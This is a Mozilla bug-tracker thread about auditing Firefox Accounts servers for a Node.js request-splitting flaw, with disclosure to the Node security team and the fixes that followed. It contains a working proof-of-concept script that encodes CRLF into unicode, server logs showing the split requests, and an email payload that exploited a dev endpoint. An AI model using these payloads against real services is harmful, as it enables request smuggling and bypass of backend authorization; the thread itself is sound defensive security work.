Closed Bug 1447452 Opened 6 years ago Closed 6 years ago

Audit FxA server stack for nodejs request-splitting bug

Categories

(Cloud Services :: Server: Firefox Accounts, enhancement)

enhancement
Not set
normal

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: rfkelly, Assigned: rfkelly)

Details

It's come to my attention that nodejs will silently corrupt non-ascii characters in outbound HTTP request paths, if the request has a zero-length body:

  https://github.com/nodejs/node/issues/13296

If node issues an HTTP GET or DELETE (or a zero-length POST or PUT) to a path containing multi-byte unicode characters, it will replace them with just their lowest byte.

As described in [1] this opens up a request-splitting vulnerability.  Here's an example script that I ran against my own server, smuggling HTTP control characters like '\r\n' in the path as multi-byte unicode characters:

```
  r = require('request')

  function smuggle(data) {
    output = ''
    for (i = 0; i < data.length; i++) {
      c = data.charCodeAt(i)
      if (c < 0x21 || c > 0x7F) {
        c = 0x0100 | c
      }
      output += String.fromCharCode(c)
    }
    return output
  }

  path = smuggle(
    '/test HTTP/1.1\r\n' +
    'Host: rfk.id.au\r\n' +
    'Content-Length: 0\r\n' +
    '\r\n' +
    'GET /surprise! HTTP/1.1\r\n' +
    'Host: rfk.id.au\r\n' +
    '\r\n'
  )

  r.get({
    url: 'https://rfk.id.au' + path
  })
```

Running it, my server's nginx log reports that node did indeed make three separate requests:

```
   180.150.45.159 - - [20/Mar/2018:20:48:08 +0000] "GET /test HTTP/1.1" 404 178 "-" "-"
   180.150.45.159 - - [20/Mar/2018:20:48:08 +0000] "GET /surprise! HTTP/1.1" 404 178 "-" "-"
   180.150.45.159 - - [20/Mar/2018:20:48:08 +0000] " HTTP/1.1" 400 182 "-" "-"
```

I'll see what I can find out about this from a node security-release standpoint; the fact that the above issue is public and has been open since May last year suggests that either the implications are not well understood, or not considered important enough to break backwards compatibility.

In the meantime, we need to audit our nodejs server stack, to check for any places where we might make an outgoing http request with user input in the path component.  The above smuggled URL looks like something that could easily slip through validation if the input allowed unicode characters:

  /testĠHTTP/1.1čĊHost:Ġrfk.id.aučĊContent-Length:Ġ0čĊčĊGETĠ/surprise!ĠHTTP/1.1čĊHost:Ġrfk.id.aučĊčĊ

I can think of two places that might be affected off the top of my head:

* FxA device registration, where we accept a URL from the client and (IIUC) don't do any particular validation on the path component
* browserid-verifier, which I *think* carefully validates paths before trying to fetch the /.well-known/browserid document, but need to double-check

Can you think of any other places where we might make such requests?

[1] https://safebreach.com/Post/HTTP-Response-Splitting-in-Node-js-Root-Cause-Analysis
Assignee: nobody → rfkelly
Group: cloud-services-security
> Group: cloud-services-security

Is it possible for me to add this directly when filing the bug?  I don't see an option for it in the UI but maybe I'm missing something.
Flags: needinfo?(jvehent)
> Is it possible for me to add this directly when filing the bug? 

From IRC conversation, the answer appears to be "no".

> I'll see what I can find out about this from a node security-release standpoint

I sent an email to security@nodejs.org with some details, and asked:

* Is the potential for #13296 to allow request-splitting already known?
* If so, are any security releases planned in response?
* If so, should we hold off on publishing any details of our own bug and mitigations until the security releases are available?

I'll report back here with any response.
Flags: needinfo?(jvehent)
> * FxA device registration, where we accept a URL from the client and (IIUC) don't do any particular
> validation on the path component

I have confirmed that using the nodejs `webpush` library to send an empty push notification to a specially-crafted URL will trigger the request-splitting behaviour.  I'm not able to try an end-to-end repro in our dev environment, because we restrict push URLs to the known Mozilla push server hosts, so I can't see whether they actually receive two separate requests.

We should add additional validation here, but I think the potential impact is pretty minimal on this one.  A malicious device registration could cause the FxA server to make arbitrary HTTP requests to one of the push endpoints servers, and those requests would include the FxA VAPID identifier header.  But the push endpoint servers are public anyway, and the VAPID identifier doesn't grant you any special permissions, so this doesn't seem like a problem in practice.

Ben, could you please sanity-check my assessment above?
Flags: needinfo?(bbangert)
> * browserid-verifier, which I *think* carefully validates paths before trying to fetch the
> /.well-known/browserid document, but need to double-check

It's possible to convince browserid-verifier to attempt an HTTP request to a hostname containing these unicode characters, which isn't great.  But fortunately for us, it attempts to send a Host header with that request, and node applies strict validation to outgoing HTTP headers precisely to guard against this issue:

  https://github.com/nodejs/node/blob/c9794880e89dbbecbbd85e4ee0980ed9c7ac0971/lib/_http_outgoing.js#L499

So I don't think this can be used to trigger bad behaviour in browserid-verifier.  We should find a way to stop using browserid-verifier for other reasons though, such as Bug 1447008.
> check for any places where we might make an outgoing http request with user input in the path component

The highest potential impact of this issue, would be any places where fxa-auth-server makes a zero-length request to fxa-auth-db-mysql with under-validated user input int the request path.  Combined with something like Bug 1444204 this could allow the arbitrary requests to the db, bypassing authentication and permission checks.  Fortunately the request in question in Bug 1444204 contained a non-empty request body and so did not permit this bug.

I think we should refactor that code to avoid building URLs by string concatenation, and use some sort of helper lib that ensure we don't accidentally blit control characters into the middle of the URLs.
For example, this [1] is one server config error away from blitting arbitrary data from the "X-Forwarded-For" header into the URL path:

  return this.pool.get('/securityEvents/' + params.uid + '/ip/' + params.ipAddr)

The value of params.ipAddr doesn't get any validation applied, we just trust the the ELB and nginx have properly constructed the X-Forwarded-For header to include it in the expected place.

[1] https://github.com/mozilla/fxa-auth-server/blob/master/lib/db.js#L989
So it turns out that the unicode strings that trigger this bug, will happily validate as email addresses:

  > validators.email().validate('ryan@čĊčĊPOSTĠįbackendįapiĠHTTPįıĮıčĊHostĺĠıIJķĮİĮİĮıčĊŻŽčĊčĊ.com')
    {
      error: null,
      value: 'ryan@čĊčĊPOSTĠįbackendįapiĠHTTPįıĮıčĊHostĺĠıIJķĮİĮİĮıčĊŻŽčĊčĊ.com'
    }
  >

This means that prior to #2337, we could have passed such a string directly in request path for `DELETE /account/<uid>/emails/<email>`:

  https://github.com/mozilla/fxa-auth-server/pull/2337/files#diff-be228df81b99a384aa50ad50bde7fca0L1102

That PR is merged on master, but IIUC is only on train-108, which means it's not yet in production.  We may need to uplift both it and the corresponding db-server change to train-107 for a security fix.
I was able to successfully exploit this in stable.dev, by calling `/recovery_email/destroy` with the following request params:

```
{
  "email": "x@̠ňƆƆɐį1̮1č̊č̊ɆͅƆ̠įaccountįf9f9eebb05ef4b819b0467cc5ddd3b4aįsessions̠ňƆƆɐį1̮1č̊č̊.cc"
}
```

Which causes us to make a backend db request to:

```
DELETE /account/<uid>/emails/x@̠ňƆƆɐį1̮1č̊č̊ɆͅƆ̠įaccountįf9f9eebb05ef4b819b0467cc5ddd3b4aįsessions̠ňƆƆɐį1̮1č̊č̊.cc
```

Which nodejs's HTTP client will helpfully write out to the wire as:

```
DELETE /account/<uid>/emails/x@̠ HTTP/1.1

GET /account/f9f9eebb05ef4b819b0467cc5ddd3b4a/sessions HTTP/1.1

.cc
```

Let's try to ship a fix for this ASAP; I'll prep some PRs for consideration based on the fix that's currently in master.
auth-db-mysql PR here:

  https://github.com/mozilla/fxa-auth-db-mysql-private/pull/1

corresponding auth-server PR here:

  https://github.com/mozilla/fxa-auth-server-private/pull/72

It looks like this is our first attempt to deploy a private fix for auth-db-mysql.  I created the repo but it doesn't have CircleCI or anything like that set up yet.
> I sent an email to security@nodejs.org with some details

I got the following response back:

"""
Hi Ryan, thanks very much for contacting us first. Unfortunately I don't have a straightforward answer for you as this is getting into really difficult territory where we have had a significant amount trouble in the past balancing usability, safety, performance and backward-compatibility. The comments in the issue you linked to point to some of those difficulties.

I'm going to copy your email and example to the wider security group for further discussion so we can formulate a proper response for you, which may or may not include a decision to push forward with some kind of "fix". So yes, please hold off on publishing your findings publicly until we have a chance to get back to you.
"""

I think we should be able to make public fixes for the places where this affects us without giving the game away, but let's make sure this bug is kept private until they have a chance to decide what to do here.
The above PRs have been merged and tagged for deployment in https://bugzilla.mozilla.org/show_bug.cgi?id=1443961#c20
ni? myself to merge the above back to master when deployed and stable; the fix is actually already in master but we should do an explicit merge to keep the changelogs accurate.
Flags: needinfo?(rfkelly)
> I sent an email to security@nodejs.org with some details

Further response from their security team:

"""
Thanks for getting in touch.  The issue is known to us (and is also
publicly known, I think) and will be fixed in Node.js 10, see pull
request https://github.com/nodejs/node/pull/16237.  There are
currently no plans to back-port that pull request to older versions
because of compatibility concerns.
"""
Flags: needinfo?(rfkelly)
Flags: needinfo?(rfkelly)
Flags: needinfo?(rfkelly)
Dustin, Jonas: Could you please check Taskcluster's exposure to this bug?

Wil: same question for TP apps (screenshots, send, note, etc.)

Note that, iirc, we're still under embargo so don't share the details yet.
Flags: needinfo?(wclouser)
Flags: needinfo?(jopsen)
Flags: needinfo?(dustin)
> Note that, iirc, we're still under embargo so don't share the details yet.

From Comment 13, it's my understanding that nodejs is treating this as a known WONTFIX for current versions, and you can find public mentions of it from e.g. blackhat 2017 per:

  https://github.com/nodejs/node/pull/16237#issuecomment-336952234

In particular the "Big Picture" matrix on slide 24 here is worth us all knowing about:

  https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

So I think we're free to make our own choices about when and how to make any fixes public.
Group: cloud-services-security → mozilla-employee-confidential
Fixes merged to their respective train-108 branches, and to master here:

  https://github.com/mozilla/fxa-auth-server/commit/50a5180ea7ad98e71b2ca3820abf701cb959c18b
  https://github.com/mozilla/fxa-auth-db-mysql/commit/1361ba44715409dd421451bffa7a84930b49d0bf

Since train-108 already contains fixes for these, I didn't cut a new tag, but I'm happy to if it seems like that would help us keep track of things.
(In reply to Ryan Kelly [:rfkelly] from comment #1)
> Is it possible for me to add [Group: cloud-services-security] directly when filing
> the bug? I don't see an option for it in the UI but maybe I'm missing something.

When you file a bug there should always be a checkbox near the bottom
"Security: [ ] Restrict access to this bug ..."

That will put it into the default security group for that product. If you're not a member of the group then creation time is your only chance. If you forget or miss it ping someone in #security (IRC or Slack) and we can slap access controls on it quickly. Since IRC is public request obliquely to see if security folks are around and them PM the number, otherwise you're drawing attention to the public bug.
The ip-reputation-js-client library appears to construct a URL path using caller-provided IP address here:

  https://github.com/mozilla-services/ip-reputation-js-client/blob/master/lib/client.js#L62

Per Comment 6, fxa-auth-server parses the IP address out of the X-Forwarded-For header.  It passes this to fxa-customs-server, which passes it to ip-reputation-js-client, which includes it in the URL path, and I don't see any validation in any of those layers to checks whether it's a well-formed email address.

This *should* be safe in production, assuming the ELB and nginx are properly constructing the trailing items in the X-Forwarded-For header.  But it gives me one more reason to add explicit validation of the extracted IP address in fxa-auth-server.
> Audit FxA server stack for nodejs request-splitting bug

OK, I've looked at all the places I can think of where we might be triggering this bug, and I can't find any others that worry me.  Summary of what I think we should do as additional defensive measures here:

* Add validation when extracting the client IP address from the X-Forwarded-For header, in both fxa-auth-server and fxa-content-server
* Refactor fxa-auth-server:lib/db.js to construct URL paths in a safe way rather than building them as string literals (in the same way that we wouldn't build SQL queries as string literals)
* Migrate away from browserid-verifier to something that uses newer JWT libraries and doesn't do all the extra /.well-known/browserid discovery stuff that we inherited from browserid.

I believe it would be safe to do those in public as part of our normal release process, but it wouldn't be hard to talk me down from that position if anyone has concerns...
Oh, also:

* Add more validation on the `pushCallback` parameter in device registrations.
(In reply to Ryan Kelly [:rfkelly] from comment #18)
> The ip-reputation-js-client library appears to construct a URL path using
> caller-provided IP address here:
> 
>  
> https://github.com/mozilla-services/ip-reputation-js-client/blob/master/lib/
> client.js#L62
> 

Tagged 2.2.0 which uses Joi to validate IPs as non-CIDR IPv4 strings. The other params are json serialized and not included in URLs.
A quick look through Taskcluster shows that we only use user-supplied URLs in one place, the supersederUrl in a task definition, as interpreted by docker-worker.  We do have isolation of docker-worker instances along trust boundaries (a random user can't create a task that a level-3 docker-worker instance will execute), but still, this is pretty bad (I guess, I don't really understand the implications..)

That's validated by JSON-schema, but I have confirmed that `format: "uri"` does not filter out URLs with multi-byte unicode characters.

I think the easy thing to do is to whitelist the one known supersederUrl to contain only ascii characters, with a note that the whitelisting can be removed after we are using node 10.
Flags: needinfo?(jopsen)
Flags: needinfo?(dustin)
Send doesn't use user supplied URLs.  Notes doesn't use nodejs.  I filed an audit bug for Screenshots at https://bugzilla.mozilla.org/show_bug.cgi?id=1448052 .  Thanks for the heads up!
Flags: needinfo?(wclouser)
Group: firefox-core-security, mozilla-employee-confidential → cloud-services-security
Noting that some of the requested changes have landed (will be on train 109):

> Add validation when extracting the client IP address from the X-Forwarded-For header, in both fxa-auth-server and fxa-content-server

https://github.com/mozilla/fxa-auth-server/pull/2359
https://github.com/mozilla/fxa-content-server/pull/5996

> Refactor fxa-auth-server:lib/db.js to construct URL paths in a safe way rather than building them as string literals (in the same way that we wouldn't build SQL queries as string literals)

https://github.com/mozilla/fxa-auth-server/pull/2368
> * Add more validation on the `pushCallback` parameter in device registrations.

PR for this here:

  https://github.com/mozilla/fxa-auth-server/pull/2370

> * Migrate away from browserid-verifier to something that uses newer JWT libraries and doesn't do
> all the extra /.well-known/browserid discovery stuff that we inherited from browserid.

This one, we'll track in Bug 1447008.
I think we're ready to close this from the FxA side; I'm leaving it open for now because there's an open dependency in Bug 1447985, which I guess is a "don't make this bug public until this other bug is resolved" kind of dependency.
Flags: needinfo?(bbangert)
Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → FIXED
:rfkelly - can this bug me made public once the fixes are shipped to prod?
Flags: needinfo?(rfkelly)
Yes, I believe it's safe to make public from the FxA perspective once train-109 hits production (Bug 1451195).  I don't have the power to actually remove the security flag though.
Flags: needinfo?(rfkelly)
Group: cloud-services-security
Group: cloud-services-security
Eh, I read too quickly and missed "once train-109 hits production". I'll remove the flag then.
>  "once train-109 hits production".

It's in production now :-)
Group: cloud-services-security
And private/train-109 has just been merged into master, so origin/master and private/master are currently tracking at the same commit again.
You need to log in before you can comment on or make changes to this bug.